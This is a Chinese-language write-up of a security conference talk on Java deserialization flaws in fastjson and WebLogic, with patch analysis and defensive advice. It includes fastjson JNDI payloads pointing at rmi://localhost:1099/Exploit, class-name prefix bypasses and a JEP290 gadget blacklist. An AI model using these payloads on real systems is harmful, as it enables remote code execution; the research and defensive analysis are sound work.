先知议题 Java反序列化实战 解读

作者:廖新喜

公众号:廖新喜

1 议题和个人介绍

1.1 议题概述

2017年又是反序列漏洞的大年,涌现了许多经典的因为反序列化导致的远程代码执行漏洞,像fastjson,jackson,struts2,weblogic这些使用量非常大的产品都存在这类漏洞,但不幸的是,这些漏洞的修复方式都是基于黑名单,每次都是旧洞未补全,新洞已面世。随着虚拟货币的暴涨,这些直接的远程执行代码漏洞都成了挖矿者的乐园。

本议题将从那些经典案例入手,分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析,由于黑名单做了加密处理,这里会展开如何得到其黑名单,如何构造PoC。当然2018年的重点还是weblogic,由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞,带大家傲游反序列化的世界,同时也是希望开发者多多借鉴做好安全编码。

1.2 个人简介:

本文作者来自绿盟科技,现任网络安全攻防实验室安全研究经理,安全行业从业七年,是看雪大会讲师,Pycon大会讲师,央视专访嘉宾,向RedHat、Apache、Amazon,Weblogic,阿里提交多份RCE漏洞报告,最近的Weblogic CVE-2018-2628就是一个。

个人博客:xxlegend.com

2 反序列化入门

序列化和反序列化是java引入的数据传输存储接口,序列化是用于将对象转换成二进制串存储,对应着writeObject,而反序列正好相反,将二进制串转换成对象,对应着readObject,类必须实现反序列化接口,同时设置serialVersionUID以便适用不同jvm环境。

可通过SerializationDumper这个工具来查看其存储格式,工具直接可在github上搜索.主要包括Magic头:0xaced,TCOBJECT:0x73,TCCLASS:0x72,serialVersionUID,newHandle

使用场景:

  • http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4sl),MII等
  • Servlets HTTP,Sockets,Session管理器 包含的协议就包括JMX,RMI,JMS,JNDI等(\xac\xed)
  • xml Xstream,XMLDecoder等(HTTP Body:Content-Type:application/xml)
  • json(Jackson,fastjson) http请求中包含

反序列攻击时序图:

常见的反序列化项目:

  • Ysoserial 原生序列化PoC生成
  • Marshalsec 第三方格式序列化PoC生成
  • Freddy burp反序列化测试插件
  • Java-Deserialization-Cheat-Sheet

3 fastjson

3.1 简介

Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序 快速匹配”的算法,号称Java语言中最快的JSON库。提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化,示例代码如下:

User user = new User("guest",2);

String jsonString = JSON.toJSONString(user)

String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"

User user = (User)JSON.parse(jsonString)

Fastjson PoC分类

主要分为两大类,一个是基于TemplateImpl,另外就是基于基于JNDI,基于JNDI的又可分为

a) Bean Property类型

b) Field类型

可以参考Demo:https://github.com/shengqi158/fastjson-remote-code-execute-poc

fastjson为了防止研究人员研究它的黑名单,想出了一套新的黑名单机制,这套黑名单是基于具体类的hash加密算法,不可逆。如果是简单穷举,基本算不出来,后来我想到这些库的黑名单肯定都在Maven仓库中,于是写了个爬虫,爬取Maven仓库下所有类,然后正向匹配输出真正的黑名单类。

3.2 fastjson最近的几个经典漏洞

下面这段代码是fastjson用来自定义loadClass的实现

   public static Class<?> loadClass(String className, ClassLoader classLoader) {

//省略

if (className.charAt(0) == '[') {

Class<?> componentType = loadClass(className.substring(1), classLoader);

return Array.newInstance(componentType, 0).getClass();

}

if (className.startsWith("L") && className.endsWith(";")) {

String newClassName = className.substring(1, className.length() - 1);

return loadClass(newClassName, classLoader);

}

try {

if (classLoader != null) {

clazz = classLoader.loadClass(className);

首先我们来看一个经典的PoC,{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true},关于这个PoC的解读在我博客上有,这里不再详述,但是今天我们要讲的是前面贴出的一段loadClass导致的一系列漏洞,首先看1.2.41的绕过方法是 Lcom.sun.rowset.RowSetImpl;,当时看到这个PoC的时候就在想官方不会只去掉一次第一个字符 L和最后一个字符 吧,果不其然,在官方的修补方案中,如果以 L打头, 结尾则会去掉打头和结尾。当时我就发了一个感概:补丁未出,漏洞已行。很显然,1.2.42的绕过方法是 LLcom.sum.rowset.RowSetImpl;;,细心的读者还会看到loadClass的第一个if判断中还有 [打头部分,所以就又有了1.2.43的绕过方法是 [com.sun.rowset.RowSetImp. 在官方版本1.2.45黑名单中又添加了ibatis的黑名单,PoC如下: {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}},首先这是一个基于JNDI的PoC,为了更加理解这个PoC,我们还是先来看一下JndiDataSourceFactory的源码。

public class JndiDataSourceFactory implements DataSourceFactory {

public static final String DATA_SOURCE = "data_source";

//省略

public void setProperties(Properties properties) {

try {

InitialContext initCtx = null;

Hashtable env = getEnvProperties(properties);

if (env == null) {

initCtx = new InitialContext();

} else {

initCtx = new InitialContext(env);

}

//省略

} else if (properties.containsKey(DATA_SOURCE)) {

dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));

}

} catch (NamingException e) {

throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);

}

}

其本质还是通过bean操作接口set来调用setProperties,然后触发JNDI查询。

4 weblogic

Weblogic是第一个成功商业化的J2EE应用服务器,在大型企业中使用非常广泛。在Oracle旗下,可以与其他Oracle产品强强联手,WebLogic Server Java EE 应用基于标准化、模块化的组件,WebLogic Server 为这些模块提供了一组完整的服务,无需编程即可自动处理应用行为的许多细节,另外其独有的T3协议采用序列化实现。下图就是weblogic的历史漏洞展示:

CVE-2015-4852

基于T3

  • 新的攻击面
  • 基于commons-collections
  • 采用黑名单修复

org.apache.commons.collections.functors* *

com.sun.org.apache.xalan.internal.xsltc.trax* *

javassist* *

org.codehaus.groovy.runtime.ConvertedClosure

org.codehaus.groovy.runtime.ConversionHandler

org.codehaus.groovy.runtime.MethodClosure

  • 作用位置有限

weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream

weblogic.rjvm.MsgAbbrevInputStream.class

weblogic.iiop.Utils.class

CVE-2016-0638

首先来看下漏洞位置,在readExternal位置,

            public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {

super.readExternal(var1);

//省略

ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);

ObjectInputStream var5 = new ObjectInputStream(var4);

//省略

try {

while (true) {

this.writeObject(var5.readObject());

}

} catch (EOFException var9) {

再来看看补丁,加了一个FilteringObjectInputStream过滤接口

            public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {

super.readExternal(var1);

//省略

this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)

BufferInputStream is = this.payload.getInputStream();

FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);

//省略

try {

while (true) {

this.writeObject(var5.readObject());

}

} catch (EOFException var9) {

FilteringObjectInputStream的实现如下:

   public class FilteringObjectInputStream extends ObjectInputStream {

public FilteringObjectInputStream(InputStream in) throws IOException {

super(in);

}

protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {

String className = descriptor.getName();

if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {

throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());

} else {

return super.resolveClass(descriptor);

}

}

}

其实就是在resolveClass位置加了一层黑名单控制。

基于XMLDecoder

CVE-2017-3248

   private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {

protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {

String className = descriptor.getName();

if(className != null && className.length() > 0

&& ClassFilter.isBlackListed(className)) {

throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());

} else {

Class c = super.resolveClass(descriptor);

//省略

}

}

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {

String[] arr$ = interfaces;

int len$ = interfaces.length;

for(int i$ = 0; i$ < len$; ++i$) {

String intf = arr$[i$];

if(intf.equals("java.rmi.registry.Registry")) {

throw new InvalidObjectException("Unauthorized proxy deserialization");

}

}

return super.resolveProxyClass(interfaces);

}

CVE-2017-3248 这个漏洞是根据JRMPListener来构造的,从这个补丁也可以看出,在resolveClass和resolveProxyClass都设置了黑名单。

CVE-2018-2628

这个漏洞是我报给Oracle官方的,但是他们并没有修复完全,导致后来这个漏洞被滥用。

  • 完美绕过CVE-2017-3248
  • 基于StreamMessage封装
  • 利用java.rmi.activation.Activator绕过补丁中对java.rmi.registry.Registry的限制
  • Proxy非必须项

攻击示意图如下:

简单分析可见:http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/

5 反序列化防御

5.1 Weblogic防御

  • 过滤T3协议,限定可连接的IP
  • 设置Nginx反向代理,实现t3协议和http协议隔离
  • JEP290(JDK8u121,7u131,6u141),这个机制主要是在每层反序列化过程中都加了一层黑名单处理,黑名单如下:

黑名单:

maxdepth=100;

!org.codehaus.groovy.runtime.ConvertedClosure;

!org.codehaus.groovy.runtime.ConversionHandler;

!org.codehaus.groovy.runtime.MethodClosure;

!org.springframework.transaction.support.AbstractPlatformTra

nsactionManager;

!sun.rmi.server.UnicastRef;

!org.apache.commons.collections.functors.*;

!com.sun.org.apache.xalan.internal.xsltc.trax.*;

!javassist.*

当然也有失效的时候,就是发现了新的gadget。这也促使Oracle开始放弃反序列化支持。

5.2 原生反序列化防御

  • 不要反序列化不可信的数据
  • 给反序列数据加密签名,并确保解密在反序列之前
  • 给反序列化接口添加认证授权
  • 反序列化服务只允许监听在本地或者开启相应防火墙
  • 升级第三方库
  • 升级JDK,JEP290

6 招人

绿盟科技Web攻防实验室欢迎各位应聘,招聘大牛和实习生。团队专注于最前沿的Web攻防研究,大数据分析,前瞻性攻击与检测预研.

联系邮箱: liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com

以上是 先知议题 Java反序列化实战 解读 的全部内容, 来源链接: utcz.com/p/199044.html

回到顶部